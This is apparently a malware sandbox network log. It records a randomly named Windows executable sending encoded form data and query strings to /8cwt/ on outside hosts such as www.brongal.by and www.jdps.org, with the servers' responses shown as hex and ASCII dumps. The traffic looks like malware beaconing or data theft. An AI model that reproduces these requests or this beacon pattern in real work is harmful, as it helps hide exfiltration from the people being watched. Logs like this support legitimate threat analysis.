Jun 4, 2024 14:18:31.663012981 CEST	1617	OUT	POST /8cwt/ HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.brongal.by Referer: http://www.brongal.by/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 37 4a 63 51 37 6f 49 41 62 76 67 52 53 57 43 37 59 37 67 4c 56 30 54 79 62 45 42 6e 6b 58 79 5a 66 70 42 35 66 62 65 4b 41 54 50 47 6d 63 36 78 6c 4c 4d 35 70 72 43 55 49 6d 4c 7a 49 37 6f 39 75 34 41 68 4f 62 4b 4c 53 6a 4e 49 63 37 47 4c 74 54 6e 39 4f 6e 56 35 61 66 32 72 2b 58 4a 4e 6c 4b 64 65 71 33 7a 72 6b 64 53 39 48 44 35 61 49 6e 37 6f 68 71 54 44 48 55 68 75 69 6f 59 6a 6b 47 63 58 31 6a 4e 4e 73 37 57 58 6a 4c 43 51 44 58 31 68 52 44 35 6e 35 66 48 61 36 73 5a 43 7a 6d 57 6f 2b 47 70 38 5a 77 79 61 53 73 78 78 71 44 55 47 65 35 46 58 41 61 4c 37 6f 63 44 71 35 57 2b 6d 7a 55 6f 6a 30 36 48 4d 36 4b 6e 7a 4e 6f 56 4d 38 73 58 6e 61 57 51 72 66 72 63 65 6c 33 52 34 51 36 44 46 7a 47 57 76 42 73 4b 68 70 79 44 6a 56 6b 59 4f 56 47 67 4b 2b 6b 2b 50 52 65 45 4d 58 6f 2b 48 67 53 4e 54 34 6a 4b 32 32 65 62 46 67 33 31 6e 4b 42 46 6e 66 77 47 43 4e 30 73 46 59 35 77 51 73 46 45 4b 67 66 32 36 47 65 4a 67 62 61 74 6b 6c 78 7a 39 45 62 7a 2f 72 47 2b 48 33 70 7a 77 33 6f 48 [TRUNCATED] Data Ascii: 24eluX=7JcQ7oIAbvgRSWC7Y7gLV0TybEBnkXyZfpB5fbeKATPGmc6xlLM5prCUImLzI7o9u4AhObKLSjNIc7GLtTn9OnV5af2r+XJNlKdeq3zrkdS9HD5aIn7ohqTDHUhuioYjkGcX1jNNs7WXjLCQDX1hRD5n5fHa6sZCzmWo+Gp8ZwyaSsxxqDUGe5FXAaL7ocDq5W+mzUoj06HM6KnzNoVM8sXnaWQrfrcel3R4Q6DFzGWvBsKhpyDjVkYOVGgK+k+PReEMXo+HgSNT4jK22ebFg31nKBFnfwGCN0sFY5wQsFEKgf26GeJgbatklxz9Ebz/rG+H3pzw3oH73XtMzTiB7quQEV1kjn6yTKmTNDrkT3FuC6CZtdTX/EK1YkMJwVxwbRQ7Rc7wzo2tePCbYi1oAB0jh05U3gMnP4KIgHaOhcBVVlnhte4FHKEthVv2qPnpTjfq6rfNXmb0B5tFT9WxuvIr3Q2Xv2KYzReeson9ItbzmPmuG6p9xnQsI98UkU87McG497Y/QL+tHq8g5x8gpRlin0TMjFHQBNvqy8C2i79iSUBFpIZutWggZSAxKge9I20KeGrFKaUJ0IHDtlsAoTYJbn1uN1b9KP+RP3mh0xNb2ZxbXcL9hpl0aLywx/CkqqXd1KPo3v5rXn4cCztZkEoZLIaeJFElcGfc0LGzFLSY18te92wMksQ/iC2ItYGw8MVFeYTqXqmaRQDdPEV2msBgVqtnu8qliaKsc+u+zzhQkmeLazh9D7y4uwJ+kjyEzCymJyi+1BsJESjjZzmUxps7EuXMO5ojy7oomc4pmzTSphhEx4Np8SvXf5i52uwShHLADLaFEU54fdGJQWbJA7OAPIgP6YlNRVvDGFboSKT2Hf5IXZH+EBz7p98E63JAmGG6KOfY6bh2yjvRvZ+9U2Mie7n8paX0q2TLwb4TsYEcrOU5T+jiwwYVrD8/Lz/uzxQwsEx8sV6cCt10PSeexvsez+Y1VjZsaN0LzoBWU7NaJ [TRUNCATED]
Jun 4, 2024 14:18:32.250478029 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 2cc_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://brongal.by/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: gzip vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 33 63 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 93 e3 46 92 d8 e7 66 84 fe 43 0d e4 ed 26 25 00 04 c0 37 d9 6c ad 34 92 76 65 cf 48 b2 66 e6 b4 be e9 09 46 11 28 92 e8 01 01 2c 0a ec 87 5a 8c d8 dd b3 cf 1f 7c 11 b6 c3 1f 1c 61 47 d8 71 1f fd 4d be 5d 9d f7 ee 56 fa e0 5f c0 f9 47 8e ac 07 50 20 41 36 fb b1 d6 ee 85 26 24 36 59 8f cc ac ac ac ac ac 47 66 1d 3f f2 22 37 bd 8a 09 9a a5 f3 e0 a4 72 0c 7f 50 80 c3 e9 50 4b 16 c6 17 2f 34 48 23 d8 3b a9 1c 1c cf 49 8a 91 3b c3 09 25 e9 50 7b f1 fc 63 a3 ab 65 e9 21 9e 93 a1 76 ee 93 8b 38 4a 52 0d b9 51 98 92 30 1d 6a 17 be 97 ce 86 1e 39 f7 5d 62 b0 1f 3a f2 43 3f f5 71 60 50 17 07 64 68 33 28 81 1f be 46 09 09 86 5a 9c 44 13 3f 20 1a 9a 25 64 32 d4 66 69 1a d3 7e bd 3e 9d c7 53 33 4a a6 f5 cb 49 58 b7 79 25 46 12 43 7d 94 44 e3 28 a5 47 19 e2 a3 30 f2 43 8f 5c ea 68 12 05 41 74 71 84 ea 27 95 ca c1 f1 23 c3 40 cf 67 3e 45 d4 4f 09 f2 29 8a e2 d4 9f fb 5f 11 0f 5d f8 e9 0c a5 33 82 fe 4d 84 69 8a 9e 7d f4 19 8a 83 c5 d4 0f d1 b9 e3 98 0d 64 20 [TRUNCATED] Data Ascii: 33cb}kFfC&%7l4veHfF(,Z\|aGqM]V_GP A6&$6YGf?"7rPPK/4H#;I;%P{ce!v8JRQ0j9]b:C?q`Pdh3(FZD? %d2fi~>S3JIXy%FC}D(G0C\hAtq'#@g>EO)_]3Mi}d I0h^/Nu^)03do~WoV~Wwo?~!}Du^K2<N$P )M/^h4?RvlzQ$k8\|~3rLPc4;#slLkLz.S>/OykCk_3?%{J19}A@k$(/kX_5Q5M8$Zz(5\[ZqT3k)N$eE>SNs2BP*M})9JI24$W`oB~!66hWOp8])`jaLm.1z_W~V~n=\}5_Yt3+oVt7h\|dq
Jun 4, 2024 14:18:32.250514030 CEST	1289	IN	Data Raw: 25 2d db d5 80 3a 97 c2 3a 00 ad fb 00 a9 be 0b fd 45 6c 08 35 58 5f c4 41 84 3d 5a 77 2c a7 59 b7 1a 75 d1 57 06 40 b2 4d 7a 0e 52 2d ca be d8 26 9b b7 04 c7 74 ad d6 6f 77 74 6d 46 fc e9 2c d5 fa 0d 5b d7 5c 1c 73 e9 d3 ee cb f8 a5 ae 31 1e ec Data Ascii: %-::El5X_A=Zw,YuW@MzR-&towtmF,[\s1e<[._-\|T\&q65y!5LHpT4WL5$aw/E4@oVOEH{x0_aI_~vw;q)+IF_]3IS?R4D
Jun 4, 2024 14:18:32.250546932 CEST	1289	IN	Data Raw: 57 ab 6a ef be 5c 9b 85 69 4d 5f 28 65 f4 58 f9 f1 ca 3c 8b fc b0 aa e9 5a ed 5d ad 56 1b 68 7a c2 c4 09 50 56 5f 92 57 fa 35 28 8e be 06 23 b3 7e 86 cf b1 18 1f 4b 18 de a0 17 b8 42 a9 96 b4 a5 9a d4 f4 6b 58 b3 f5 b5 8b 18 3a 81 8f 02 29 fd f9 Data Ascii: Wj\iM_(eX<Z]VhzPV_W5(#~KBkX:)=\|(6BFjn519H>Va\+]E'U/V[l30(&QRec!"\|L_T\|eCpTRd0F-,=4?)h#[>A0jjAk5EJ
Jun 4, 2024 14:18:32.250683069 CEST	1289	IN	Data Raw: 6e 8e dd 6e e8 d0 d9 b6 73 a3 18 cd 7d 2f 04 75 b8 1b 87 de d0 6d a7 97 c1 6f 5a ba 6d b7 75 a7 b5 a5 f7 32 b3 c4 30 e8 1c 07 41 1f d9 8d f8 72 4d 1f 2b 85 c0 92 83 c1 e7 58 bb 4a 05 70 80 d9 47 8d f6 ae 42 97 86 28 d6 74 36 8a d1 18 bb 7e 38 35 Data Ascii: nns}/umoZmu20ArM+XJpGB(t6~85#l62_#+`EEV;[ovh[}"fJiKa8]$8v\|M>aax}d^hY%jNsYE+V7?<5=kau6;kebFR5}j
Jun 4, 2024 14:18:32.250798941 CEST	1289	IN	Data Raw: 69 b2 94 a6 92 d2 62 29 2d 25 a5 cd 52 da 4a 4a 87 a5 74 94 94 2e 4b e9 2a 29 3d 96 d2 cb 52 3a 8f 39 a9 ef 3e 0b f0 f8 cf 82 de a7 c0 7a 92 24 38 fd d3 27 f7 f0 6d ab d1 1d 88 fb 03 43 7a 81 63 9e 42 17 63 88 a6 e1 5e 25 7e 10 f8 2e 4f cc 7c 52 Data Ascii: ib)-%RJJt.K*)=R:9>z$8'mCzcBc^%~.O\|Rw-N!"IS.GIDiS?<Qe,wy;+0>{X{/}<Hbg{OuC^QD2J!>y\)NS<5hs'U"pC(\\\
Jun 4, 2024 14:18:32.250839949 CEST	1289	IN	Data Raw: 80 5c 7a 39 1e e4 ff 8e f1 9a 3d 9c 9b b0 52 4c 0f 0e 8e fd f9 54 4e 68 ed 8e 86 e4 34 d7 b0 b5 e2 94 99 57 06 fb 77 7d 99 be 3d 9c 93 54 85 38 4d b1 3b 03 2f 58 63 b2 08 02 04 0e 80 fc 1b 84 a8 81 10 52 b0 12 ef 68 08 07 e9 50 83 59 4b b6 84 a9 Data Ascii: \z9=RLTNh4Ww}=T8M;/XcRhPYK;={JWPUvnH.4F9@)'t168R%@(p,3h`{eFMAyxLISF7o,J@<Ybf(/40Sqz>y$S
Jun 4, 2024 14:18:32.250855923 CEST	1289	IN	Data Raw: b9 3e 0e 98 5d 40 47 10 3d 7f e4 fa 89 1b 90 11 04 92 1d 91 c9 84 9d 4e b2 ad 5a b0 f5 05 82 9b 17 db 1c 8d d8 c7 bc 0d b2 fb ac c3 e0 88 85 1d 5d a1 67 ac 59 e8 13 37 0a 29 fa 12 1e 05 78 cc 9a 85 3e f6 83 00 7d c4 9a c5 23 fc 1f f0 73 50 38 2d Data Ascii: >]@G=NZ]gY7)x>}#sP8-b 4He\+Es?%$,4sq_El4@`t wmx#mrG\|yg5: 6?v9=Vng-wDcnqdu1%z9-{74N
Jun 4, 2024 14:18:32.250881910 CEST	1289	IN	Data Raw: 2a 05 6e 1f c8 8b 0d 88 0f 70 b9 b5 21 9e 1e e0 11 e9 f9 d2 43 c4 75 84 88 9a 76 0b 64 19 d4 c1 da 3d 37 24 2e ba f1 35 df 9e e3 ad a0 17 58 94 c9 6d 5a 21 5f 6e 58 d6 f9 0c 28 90 ea c8 b8 54 15 92 32 c8 40 74 d7 77 6c 10 62 11 2e 3d 3f 21 ec 19 Data Ascii: np!Cuvd=7$.5XmZ!_nX(T2@twlb.=?!>w{FAFee6)'L;lu8,Dh}ho]l)g*KN/4VJ(wcKg\|trpC\^EXCnAM+wHzo46?f^#$aX
Jun 4, 2024 14:18:32.250894070 CEST	1289	IN	Data Raw: 53 71 eb 63 bd 57 76 63 5b c4 6b b8 58 e3 64 a3 95 1b cf 05 8c 42 02 b8 fb 1f 53 c9 4c d4 84 f8 f3 08 21 e2 07 74 66 14 42 ac 8f 4c 04 d7 c4 86 db 9c 4a 37 1f 1c 28 1c ce 79 0d df 0a 3c 28 99 b4 37 3a b9 08 4a b4 ab 08 73 03 ae dc 5e cb 6c 8c 92 Data Ascii: SqcWvc[kXdBSL!tfBLJ7(y<(7:Js^lbnO<,`Zx(L\"qa/eKdy_Jg#X-dXoW"`Z@S4WS`.j'?1[j"k*<W:loCSJ%p.[KG
Jun 4, 2024 14:18:32.250905991 CEST	1289	IN	Data Raw: ba 04 8e 54 ec 6e b8 05 25 9c 4d e4 25 b8 cf 8b 76 52 b9 88 4d 86 81 92 f4 49 e4 e2 80 7c 88 53 5c 45 d7 88 85 f2 43 99 23 ee e9 c2 b2 ac 66 90 26 47 7d f4 12 1d c1 17 f4 0a 2d 51 6d 90 3f fa 95 cd 54 80 2b 1f 9e f0 8e 66 36 18 ce a8 c1 bd 2a b5 Data Ascii: Tn%M%vRMI\|S\EC#f&G}-Qm?T+f6*9NPJIxF1{`"xFgSi1<Z.ZVmiH5t~T1^hWuMB]vumkt@?%EfLKQH'}ck3LGnSh}x
Jun 4, 2024 14:18:32.250933886 CEST	860	IN	Data Raw: 64 5c 83 70 10 0c 5c 73 a2 e9 1a 7b fb 0f 5a df d1 35 61 cd 8e 0a 69 32 c0 96 d6 d7 e6 f8 52 63 ac 15 6f f8 66 4b 4c 71 2d 96 5c a6 09 7e b8 f6 f3 d1 ac b2 89 b3 8f b3 72 ab 72 bc 37 2f ba 20 12 6b bc e0 69 3b 79 c1 2c 3f 58 c4 b1 57 5f 37 d8 c0 Data Ascii: d\p\s{Z5ai2RcofKLq-\~rr7/ ki;y,?XW_77Xesxrw~-^rr[jcmH#T.an\|v{#x^d\iQ9\lN"7+/1Y1=;DtC\|: ,IB_A)<fz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.30	49872	93.125.99.134	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:34.440659046 CEST	425	OUT	GET /8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4+PRU3ZMaY44LgKCLzXfDRRDI6NjDrIa0AFdv/y2wt/s903kXPouMaZATl0JyX7k5A=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:18:34.802649975 CEST	549	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 04 Jun 2024 12:18:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close x-powered-by: PHP/7.4.33 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: http://brongal.by/8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4+PRU3ZMaY44LgKCLzXfDRRDI6NjDrIa0AFdv/y2wt/s903kXPouMaZATl0JyX7k5A=&Mjnd0=JZHP8Tx0t6 x-litespeed-cache: miss x-turbo-charged-by: LiteSpeed Server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.30	49873	34.232.203.70	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:40.125907898 CEST	674	OUT	POST /8cwt/ HTTP/1.1 Host: www.jdps.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.jdps.org Referer: http://www.jdps.org/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 78 64 48 75 35 66 43 2f 38 75 45 7a 47 42 76 63 30 36 4b 5a 4c 4c 57 74 37 49 75 36 72 59 5a 61 6e 4c 4d 61 6e 41 57 50 34 4d 32 66 43 45 76 6e 54 78 43 34 63 44 37 66 53 48 62 76 2f 46 50 59 4c 4b 54 4f 51 4f 36 58 6d 5a 58 39 41 6c 45 67 62 69 69 62 7a 77 57 34 57 49 6c 35 75 55 30 52 2b 4b 48 4a 76 56 75 31 58 43 76 77 6b 59 66 4f 73 69 53 79 42 65 53 4c 4a 7a 4e 6b 38 35 73 39 49 59 38 43 44 45 6f 41 54 38 70 6e 74 49 31 48 4b 36 51 62 32 4d 35 2b 48 37 74 55 66 34 6e 4b 39 72 6b 31 61 7a 36 36 35 38 41 54 39 67 50 71 6a 56 63 32 79 2f 38 72 4d 74 6a 75 2f 44 6b 6d 4a 51 3d 3d Data Ascii: 24eluX=xdHu5fC/8uEzGBvc06KZLLWt7Iu6rYZanLManAWP4M2fCEvnTxC4cD7fSHbv/FPYLKTOQO6XmZX9AlEgbiibzwW4WIl5uU0R+KHJvVu1XCvwkYfOsiSyBeSLJzNk85s9IY8CDEoAT8pntI1HK6Qb2M5+H7tUf4nK9rk1az6658AT9gPqjVc2y/8rMtju/DkmJQ==
Jun 4, 2024 14:18:40.259381056 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:18:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Jun 4, 2024 14:18:40.259466887 CEST	1289	IN	Data Raw: 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex; flex-direction: column; align-items: ce
Jun 4, 2024 14:18:40.259524107 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 68 31 3e 6a 64 70 73 2e 6f 72 67 20 69 73 20 63 6f 6d 69 6e 67 20 73 6f 6f 6e 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 54 68 69 Data Ascii: <h1>jdps.org is coming soon</h1> </div> <div>This domain is managed at <br> <a href="//www.namebright.com" id="logo" target="_parent" alt="NameBright.com - Next Generation Domain Registration"
Jun 4, 2024 14:18:40.259572983 CEST	1289	IN	Data Raw: 37 39 2e 34 34 37 31 33 2c 37 39 2e 34 34 37 31 33 2c 30 2c 30 2c 30 2d 31 33 2e 36 34 38 37 2e 39 37 35 37 76 36 30 2e 31 37 34 34 33 61 32 2e 38 30 34 35 37 2c 32 2e 38 30 34 35 37 2c 30 2c 30 2c 31 2d 32 2e 36 34 38 31 38 2c 32 2e 39 32 37 37 Data Ascii: 79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H446.56779a2.91881,2.91881,0,0,1-2.78613-2.92778V78.77935c0-1.81043,1.25192-3.34127,3.76218-4.17768,8.91384-2.92408,16.29653-4.03973,28.27274-4.03973,1.67249,0,
Jun 4, 2024 14:18:40.259602070 CEST	1289	IN	Data Raw: 2e 38 33 33 38 39 2c 31 37 37 2e 39 35 39 32 34 5a 4d 35 36 36 2e 37 38 35 38 2c 38 36 2e 38 35 38 38 32 61 37 36 2e 33 36 38 33 35 2c 37 36 2e 33 36 38 33 35 2c 30 2c 30 2c 30 2d 31 33 2e 33 36 39 34 34 2d 31 2e 32 35 35 32 39 63 2d 31 31 2e 39 Data Ascii: .83389,177.95924ZM566.7858,86.85882a76.36835,76.36835,0,0,0-13.36944-1.25529c-11.98261,0-14.90668,8.5017-14.90668,19.92245v10.726c0,11.42072,2.92407,19.92076,14.90668,19.92076a116.75844,116.75844,0,0,0,13.36944-1.117Zm93.44986,63.24184h-12.814
Jun 4, 2024 14:18:40.259628057 CEST	1289	IN	Data Raw: 32 2e 38 31 37 2c 32 32 2e 31 39 39 31 39 61 31 2e 32 34 35 33 37 2c 31 2e 32 34 35 33 37 2c 30 2c 30 2c 31 2d 31 2e 37 30 32 30 39 2e 34 35 38 35 38 4c 35 30 39 2e 34 35 38 2c 33 30 2e 30 30 34 31 32 61 31 2e 32 34 36 31 36 2c 31 2e 32 34 36 31 Data Ascii: 2.817,22.19919a1.24537,1.24537,0,0,1-1.70209.45858L509.458,30.00412a1.24616,1.24616,0,0,1-.45656-1.70176l12.814-22.19784A1.30157,1.30157,0,0,1,523.55018,5.59211Z" class="cls-2"></path><path d="M543.79932,23.73541l2.86856,4.971a1.305,1.305,0,0,
Jun 4, 2024 14:18:40.259653091 CEST	1289	IN	Data Raw: 31 2c 30 2c 30 2c 31 2c 2e 34 35 33 35 33 2d 31 2e 37 30 32 30 39 6c 34 2e 39 37 31 2d 32 2e 38 36 38 32 32 61 31 2e 32 34 38 39 32 2c 31 2e 32 34 38 39 32 2c 30 2c 30 2c 31 2c 31 2e 37 30 32 31 2e 34 35 38 32 34 6c 31 32 2e 38 32 30 33 36 2c 32 Data Ascii: 1,0,0,1,.45353-1.70209l4.971-2.86822a1.24892,1.24892,0,0,1,1.7021.45824l12.82036,22.19616A1.306,1.306,0,0,1,490.17148,30.00412Z" class="cls-2"></path><path d="M502.683,28.189h-5.73981a1.3064,1.3064,0,0,1-1.2452-1.30947V1.24856A1.25352,1.25352,
Jun 4, 2024 14:18:40.259677887 CEST	1289	IN	Data Raw: 35 32 2e 38 31 36 34 39 2c 31 34 37 2e 35 39 33 34 34 5a 4d 31 33 38 2e 31 38 38 37 33 2c 38 36 2e 35 38 31 32 35 61 38 30 2e 38 33 36 33 33 2c 38 30 2e 38 33 36 33 33 2c 30 2c 30 2c 30 2d 31 33 2e 33 37 30 37 39 2d 2e 39 37 37 37 32 63 2d 31 31 Data Ascii: 52.81649,147.59344ZM138.18873,86.58125a80.83633,80.83633,0,0,0-13.37079-.97772c-11.97958,0-14.907,8.5017-14.907,19.92245v10.726c0,11.42072,2.92744,19.92076,14.907,19.92076a81.24455,81.24455,0,0,0,13.37079-.9757Z" class="cls-2"></path><path d="
Jun 4, 2024 14:18:40.259704113 CEST	1289	IN	Data Raw: 36 33 2d 33 33 2e 37 31 30 34 34 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 39 34 33 35 31 63 30 2d 32 31 2e 37 32 39 35 31 2c 31 32 2e 31 31 37 31 39 2d 33 35 2e 33 38 31 35 37 2c 33 33 2e 34 32 39 35 2d 33 35 2e 33 38 31 35 37 2c 32 31 2e 34 35 Data Ascii: 63-33.71044-34.96235V105.94351c0-21.72951,12.11719-35.38157,33.4295-35.38157,21.45363,0,33.15362,14.62776,33.15362,35.38157v7.7982C347.291,115.97606,346.45491,117.228,344.50486,117.228Zm-15.73972-13.65374c0-10.86391-5.98978-17.1343-14.62777-17
Jun 4, 2024 14:18:40.259736061 CEST	1180	IN	Data Raw: 31 39 2e 34 31 38 31 31 2d 32 30 2e 32 33 33 73 31 39 2e 34 32 31 34 38 2c 38 2e 36 31 35 31 2c 31 39 2e 34 32 31 34 38 2c 32 30 2e 32 33 33 56 31 33 30 2e 35 31 38 43 38 31 38 2e 39 38 30 37 2c 31 34 32 2e 31 33 39 36 32 2c 38 31 32 2e 33 31 34 Data Ascii: 19.41811-20.233s19.42148,8.6151,19.42148,20.233V130.518C818.9807,142.13962,812.314,150.74765,799.55922,150.74765Zm8.69383-26.81055c0-6.66-3.00617-10.97058-8.69383-10.97058-5.68732,0-8.69382,4.31058-8.69382,10.97058V130.518c0,6.66336,3.0065,10.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.30	49874	34.232.203.70	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:42.786621094 CEST	694	OUT	POST /8cwt/ HTTP/1.1 Host: www.jdps.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.jdps.org Referer: http://www.jdps.org/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 78 64 48 75 35 66 43 2f 38 75 45 7a 48 68 2f 63 32 62 4b 5a 4a 72 57 71 30 6f 75 36 6b 34 59 52 6e 4b 77 61 6e 41 2b 6c 34 2b 69 66 44 6d 6e 6e 53 31 75 34 53 6a 37 66 4c 33 62 67 68 31 50 66 4c 4b 50 73 51 50 47 58 6d 66 37 39 41 6b 30 67 62 52 61 59 7a 67 57 36 65 6f 6c 33 71 55 30 52 2b 4b 48 4a 76 56 4b 50 58 43 48 77 6e 6f 76 4f 75 48 6d 78 43 65 53 4d 49 7a 4e 6b 76 70 73 48 49 59 38 67 44 46 30 36 54 36 74 6e 74 4b 39 48 45 4c 51 59 6c 73 35 38 4c 72 73 62 58 35 61 63 2b 61 55 43 56 52 61 39 77 75 30 32 78 58 2b 77 2b 57 6f 30 68 66 41 47 51 73 4f 47 39 42 6c 39 55 62 74 50 6f 75 70 7a 74 6b 70 76 5a 36 2b 41 53 42 32 76 4a 4b 51 3d Data Ascii: 24eluX=xdHu5fC/8uEzHh/c2bKZJrWq0ou6k4YRnKwanA+l4+ifDmnnS1u4Sj7fL3bgh1PfLKPsQPGXmf79Ak0gbRaYzgW6eol3qU0R+KHJvVKPXCHwnovOuHmxCeSMIzNkvpsHIY8gDF06T6tntK9HELQYls58LrsbX5ac+aUCVRa9wu02xX+w+Wo0hfAGQsOG9Bl9UbtPoupztkpvZ6+ASB2vJKQ=
Jun 4, 2024 14:18:42.917536974 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:18:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 